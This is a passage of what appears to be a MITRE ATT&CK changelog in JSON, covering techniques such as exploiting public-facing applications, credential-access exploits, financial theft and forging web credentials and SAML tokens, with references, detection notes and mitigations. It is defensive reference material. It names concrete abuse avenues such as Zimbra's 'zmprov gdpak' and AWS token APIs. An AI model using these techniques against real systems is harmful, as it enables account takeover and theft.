\"Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.\\n\\nExploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may also involve [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).\\n\\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\\n\\nAdversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)\\n\\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)\", \"diff\": \"--- \\n+++ \\n@@ -1,8 +1,8 @@\\n Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.\\n \\n-Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may also involve [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).\\n+Exploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may also involve [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).\\n \\n-If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\\n+If an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005)), exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\\n \\n Adversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.(Citation: Mandiant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)\\n \"}, \"root['x_mitre_version']\": {\"new_value\": \"2.6\", \"old_value\": \"2.5\"}}}", + "previous_version": "2.5", + "version_change": "2.5 \u2192 2.6", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may attempt to exploit a weakness in an Internett1Adversaries may attempt to exploit a weakness in an Internet
>-facing host or system to initially access a network. The we>-facing host or system to initially access a network. The we
>akness in the system can be a software bug, a temporary glit>akness in the system can be a software bug, a temporary glit
>ch, or a misconfiguration.  Exploited applications are often>ch, or a misconfiguration.  Exploited applications are often
> websites/web servers, but can also include databases (like > websites/web servers, but can also include databases (like 
>SQL), standard services (like SMB or SSH), network device ad>SQL), standard services (like SMB or SSH), network device ad
>ministration and management protocols (like SNMP and Smart I>ministration and management protocols (like SNMP and Smart I
>nstall), and any other system with Internet accessible open >nstall), and any other system with Internet-accessible open 
>sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple>sockets.(Citation: NVD CVE-2016-6662)(Citation: CIS Multiple
> SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network In> SMB Vulnerabilities)(Citation: US-CERT TA18-106A Network In
>frastructure Devices 2018)(Citation: Cisco Blog Legacy Devic>frastructure Devices 2018)(Citation: Cisco Blog Legacy Devic
>e Attacks)(Citation: NVD CVE-2014-7169) Depending on the fla>e Attacks)(Citation: NVD CVE-2014-7169) Depending on the fla
>w being exploited this may also involve [Exploitation for De>w being exploited this may also involve [Exploitation for De
>fense Evasion](https://attack.mitre.org/techniques/T1211) or>fense Evasion](https://attack.mitre.org/techniques/T1211) or
> [Exploitation for Client Execution](https://attack.mitre.or> [Exploitation for Client Execution](https://attack.mitre.or
>g/techniques/T1203).  If an application is hosted on cloud-b>g/techniques/T1203).  If an application is hosted on cloud-b
>ased infrastructure and/or is containerized, then exploiting>ased infrastructure and/or is containerized, then exploiting
> it may lead to compromise of the underlying instance or con> it may lead to compromise of the underlying instance or con
>tainer. This can allow an adversary a path to access the clo>tainer. This can allow an adversary a path to access the clo
>ud or container APIs, exploit container host access via [Esc>ud or container APIs (e.g., via the [Cloud Instance Metadata
>ape to Host](https://attack.mitre.org/techniques/T1611), or > API](https://attack.mitre.org/techniques/T1552/005)), explo
>take advantage of weak identity and access management polici>it container host access via [Escape to Host](https://attack
>es.  Adversaries may also exploit edge network infrastructur>.mitre.org/techniques/T1611), or take advantage of weak iden
>e and related appliances, specifically targeting devices tha>tity and access management policies.  Adversaries may also e
>t do not support robust host-based defenses.(Citation: Mandi>xploit edge network infrastructure and related appliances, s
>ant Fortinet Zero Day)(Citation: Wired Russia Cyberwar)  For>pecifically targeting devices that do not support robust hos
> websites and databases, the OWASP top 10 and CWE top 25 hig>t-based defenses.(Citation: Mandiant Fortinet Zero Day)(Cita
>hlight the most common web-based vulnerabilities.(Citation: >tion: Wired Russia Cyberwar)  For websites and databases, th
>OWASP Top 10)(Citation: CWE top 25)>e OWASP top 10 and CWE top 25 highlight the most common web-
 >based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE
 > top 25)
", + "changelog_mitigations": { + "shared": [ + "M1016: Vulnerability Scanning", + "M1026: Privileged Account Management", + "M1030: Network Segmentation", + "M1048: Application Isolation and Sandboxing", + "M1050: Exploit Protection", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)", + "DS0029: Network Traffic (Network Traffic Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Exploitation for Credential Access", + "description": "Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0\n\nCredentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges.(Citation: Bugcrowd Replay Attack)(Citation: Comparitech Replay Attack)(Citation: Microsoft Midnight Blizzard Replay Attack)\n\nSuch exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal.(Citation: Storm-0558 techniques for unauthorized email access)\n\nExploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1212", + "external_id": "T1212" + }, + { + "source_name": "Bugcrowd Replay Attack", + "description": "Bugcrowd. (n.d.). Replay Attack. Retrieved September 27, 2023.", + "url": "https://www.bugcrowd.com/glossary/replay-attack/" + }, + { + "source_name": "Comparitech Replay Attack", + "description": "Justin Schamotta. (2022, October 28). What is a replay attack?. Retrieved September 27, 2023.", + "url": "https://www.comparitech.com/blog/information-security/what-is-a-replay-attack/" + }, + { + "source_name": "ADSecurity Detecting Forged Tickets", + "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?p=1515" + }, + { + "source_name": "Storm-0558 techniques for unauthorized email access", + "description": "Microsoft Threat Intelligence. (2023, July 14). Analysis of Storm-0558 techniques for unauthorized email access. Retrieved September 18, 2023.", + "url": "https://www.microsoft.com/en-us/security/blog/2023/07/14/analysis-of-storm-0558-techniques-for-unauthorized-email-access/" + }, + { + "source_name": "Microsoft Midnight Blizzard Replay Attack", + "description": "Microsoft Threat Intelligence. (2023, June 21). Credential Attacks. Retrieved September 12, 2024.", + "url": "https://x.com/MsftSecIntel/status/1671579359994343425" + }, + { + "source_name": "Technet MS14-068", + "description": "Microsoft. (2014, November 18). Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780). Retrieved December 23, 2015.", + "url": "https://technet.microsoft.com/en-us/library/security/ms14-068.aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "John Lambert, Microsoft Threat Intelligence Center", + "Mohit Rathore" + ], + "x_mitre_data_sources": [ + "User Account: User Account Authentication", + "Process: Process Creation", + "Application Log: Application Log Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS", + "Identity Provider" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2023-10-15 11:45:21.555000+00:00\"}, \"root['external_references'][5]['description']\": {\"new_value\": \"Microsoft Threat Intelligence. (2023, June 21). Credential Attacks. Retrieved September 12, 2024.\", \"old_value\": \"Microsoft Threat Intelligence. (2023, June 21). Credential Attacks. Retrieved September 27, 2023.\"}, \"root['external_references'][5]['url']\": {\"new_value\": \"https://x.com/MsftSecIntel/status/1671579359994343425\", \"old_value\": \"https://twitter.com/MsftSecIntel/status/1671579359994343425\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.6\", \"old_value\": \"1.5\"}, \"root['x_mitre_platforms'][3]\": {\"new_value\": \"Identity Provider\", \"old_value\": \"Azure AD\"}}}", + "previous_version": "1.5", + "version_change": "1.5 \u2192 1.6", + "changelog_mitigations": { + "shared": [ + "M1013: Application Developer Guidance", + "M1019: Threat Intelligence Program", + "M1048: Application Isolation and Sandboxing", + "M1050: Exploit Protection", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Authentication)", + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--851e071f-208d-4c79-adc6-5974c85c78f3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-08-18 20:50:04.222000+00:00", + "modified": "2024-10-15 15:58:10.254000+00:00", + "name": "Financial Theft", + "description": "Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware,(Citation: FBI-ransomware) business email compromise (BEC) and fraud,(Citation: FBI-BEC) \"pig butchering,\"(Citation: wired-pig butchering) bank hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocurrency networks.(Citation: BBC-Ronin) \n\nAdversaries may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) to conduct unauthorized transfers of funds.(Citation: Internet crime report 2022) In the case of business email compromise or email fraud, an adversary may utilize [Impersonation](https://attack.mitre.org/techniques/T1656) of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary.(Citation: FBI-BEC) This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft.(Citation: VEC)\n\nExtortion by ransomware may occur, for example, when an adversary demands payment from a victim after [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) (Citation: NYT-Colonial) and [Exfiltration](https://attack.mitre.org/tactics/TA0010) of data, followed by threatening to leak sensitive data to the public unless payment is made to the adversary.(Citation: Mandiant-leaks) Adversaries may use dedicated leak sites to distribute victim data.(Citation: Crowdstrike-leaks)\n\nDue to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and business disruption.(Citation: AP-NotPetya)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1657", + "external_id": "T1657" + }, + { + "source_name": "VEC", + "description": "CloudFlare. (n.d.). What is vendor email compromise (VEC)?. Retrieved September 12, 2023.", + "url": "https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/#:~:text=Vendor%20email%20compromise%2C%20also%20referred,steal%20from%20that%20vendor%27s%20customers." + }, + { + "source_name": "Crowdstrike-leaks", + "description": "Crowdstrike. (2020, September 24). Double Trouble: Ransomware with Data Leak Extortion, Part 1. Retrieved December 6, 2023.", + "url": "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/" + }, + { + "source_name": "Mandiant-leaks", + "description": "DANIEL KAPELLMANN ZAFRA, COREY HIDELBRANDT, NATHAN BRUBAKER, KEITH LUNDEN. (2022, January 31). 1 in 7 OT Ransomware Extortion Attacks Leak Critical Operational Technology Information. Retrieved August 18, 2023.", + "url": "https://www.mandiant.com/resources/blog/ransomware-extortion-ot-docs" + }, + { + "source_name": "DOJ-DPRK Heist", + "description": "Department of Justice. (2021). 3 North Korean Military Hackers Indicted in Wide-Ranging Scheme to Commit Cyber-attacks and Financial Crimes Across the Globe. Retrieved August 18, 2023.", + "url": "https://www.justice.gov/usao-cdca/pr/3-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyber-attacks-and" + }, + { + "source_name": "FBI-BEC", + "description": "FBI. (2022). FBI 2022 Congressional Report on BEC and Real Estate Wire Fraud. Retrieved August 18, 2023.", + "url": "https://www.fbi.gov/file-repository/fy-2022-fbi-congressional-report-business-email-compromise-and-real-estate-wire-fraud-111422.pdf/view" + }, + { + "source_name": "FBI-ransomware", + "description": "FBI. (n.d.). Ransomware. Retrieved August 18, 2023.", + "url": "https://www.cisa.gov/sites/default/files/Ransomware_Trifold_e-version.pdf" + }, + { + "source_name": "AP-NotPetya", + "description": "FRANK BAJAK AND RAPHAEL SATTER. (2017, June 30). Companies still hobbled from fearsome cyberattack. Retrieved August 18, 2023.", + "url": "https://apnews.com/article/russia-ukraine-technology-business-europe-hacking-ce7a8aca506742ab8e8873e7f9f229c2" + }, + { + "source_name": "Internet crime report 2022", + "description": "IC3. (2022). 2022 Internet Crime Report. Retrieved August 18, 2023.", + "url": "https://www.ic3.gov/Media/PDF/AnnualReport/2022_IC3Report.pdf" + }, + { + "source_name": "BBC-Ronin", + "description": "Joe Tidy. (2022, March 30). Ronin Network: What a $600m hack says about the state of crypto. Retrieved August 18, 2023.", + "url": "https://www.bbc.com/news/technology-60933174" + }, + { + "source_name": "wired-pig butchering", + "description": "Lily Hay Newman. (n.d.). \u2018Pig Butchering\u2019 Scams Are Now a $3 Billion Threat. Retrieved August 18, 2023.", + "url": "https://www.wired.com/story/pig-butchering-fbi-ic3-2022-report/" + }, + { + "source_name": "NYT-Colonial", + "description": "Nicole Perlroth. (2021, May 13). Colonial Pipeline paid 75 Bitcoin, or roughly $5 million, to hackers.. Retrieved August 18, 2023.", + "url": "https://www.nytimes.com/2021/05/13/technology/colonial-pipeline-ransom.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Blake Strom, Microsoft Threat Intelligence", + "Pawel Partyka, Microsoft Threat Intelligence", + "Menachem Goldstein" + ], + "x_mitre_data_sources": [ + "Application Log: Application Log Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "SaaS", + "Office Suite" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:58:10.254000+00:00\", \"old_value\": \"2024-04-11 20:22:14.359000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}, \"root['x_mitre_contributors'][2]\": {\"new_value\": \"Menachem Goldstein\", \"old_value\": \"Goldstein Menachem\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][4]\": \"Office Suite\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][3]\": \"Office 365\", \"root['x_mitre_platforms'][5]\": \"Google Workspace\"}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1018: User Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-12-17 02:13:46.247000+00:00", + "modified": "2024-10-15 15:58:23.638000+00:00", + "name": "Forge Web Credentials", + "description": "Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.\n\nAdversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nThe generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator) Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005)), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain.(Citation: AWS Temporary Security Credentials)(Citation: Zimbra Preauth)\n\nOnce forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1606", + "external_id": "T1606" + }, + { + "source_name": "AWS Temporary Security Credentials", + "description": "AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022.", + "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html" + }, + { + "source_name": "Unit 42 Mac Crypto Cookies January 2019", + "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.", + "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/" + }, + { + "source_name": "GitHub AWS-ADFS-Credential-Generator", + "description": "Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved September 27, 2024.", + "url": "https://github.com/pvanbuijtene/aws-adfs-credential-generator" + }, + { + "source_name": "Microsoft SolarWinds Customer Guidance", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.", + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/" + }, + { + "source_name": "Pass The Cookie", + "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.", + "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html" + }, + { + "source_name": "Zimbra Preauth", + "description": "Zimbra. (2023, March 16). Preauth. Retrieved May 31, 2023.", + "url": "https://wiki.zimbra.com/wiki/Preauth" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Dylan Silva, AWS Security" + ], + "x_mitre_data_sources": [ + "Web Credential: Web Credential Usage", + "Web Credential: Web Credential Creation", + "Logon Session: Logon Session Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "SaaS", + "Windows", + "macOS", + "Linux", + "IaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:58:23.638000+00:00\", \"old_value\": \"2023-10-15 11:10:03.428000+00:00\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved September 27, 2024.\", \"old_value\": \"Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved December 16, 2020.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://github.com/pvanbuijtene/aws-adfs-credential-generator\", \"old_value\": \"https://github.com/damianh/aws-adfs-credential-generator\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.5\", \"old_value\": \"1.4\"}, \"root['x_mitre_platforms'][5]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Office 365\"}, \"root['x_mitre_platforms'][6]\": {\"new_value\": \"Identity Provider\", \"old_value\": \"Google Workspace\"}}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][4]\": \"Azure AD\"}}", + "previous_version": "1.4", + "version_change": "1.4 \u2192 1.5", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1047: Audit", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0006: Web Credential (Web Credential Creation)", + "DS0006: Web Credential (Web Credential Usage)", + "DS0028: Logon Session (Logon Session Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-12-17 15:24:12.240000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "SAML Tokens", + "description": "An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)\n\nAn adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nAn adversary may gain administrative Entra ID privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1606/002", + "external_id": "T1606.002" + }, + { + "source_name": "Microsoft SolarWinds Steps", + "description": "Lambert, J. (2020, December 13). Important steps for customers to protect themselves from recent nation-state cyberattacks. Retrieved December 17, 2020.", + "url": "https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/" + }, + { + "source_name": "Microsoft SAML Token Lifetimes", + "description": "Microsoft. (2020, December 14). Configurable token lifetimes in Microsoft Identity Platform. Retrieved December 22, 2020.", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes" + }, + { + "source_name": "Microsoft SolarWinds Customer Guidance", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.", + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/" + }, + { + "source_name": "Cyberark Golden SAML", + "description": "Reiner, S. (2017, November 21). Golden SAML: Newly Discovered Attack Technique Forges Authentication to Cloud Apps. Retrieved December 17, 2020.", + "url": "https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps" + }, + { + "source_name": "Sygnia Golden SAML", + "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.", + "url": "https://www.sygnia.co/golden-saml-advisory" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Blake Strom, Microsoft 365 Defender", + "Oleg Kolesnikov, Securonix", + "Jack Burns, HubSpot" + ], + "x_mitre_data_sources": [ + "Web Credential: Web Credential Usage", + "Web Credential: Web Credential Creation", + "Logon Session: Logon Session Creation", + "User Account: User Account Authentication", + "Logon Session: Logon Session Metadata", + "Process: Process Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML)\n\nConsider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "SaaS", + "Windows", + "IaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2024-03-01 17:55:56.116000+00:00\"}, \"root['description']\": {\"new_value\": \"An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of 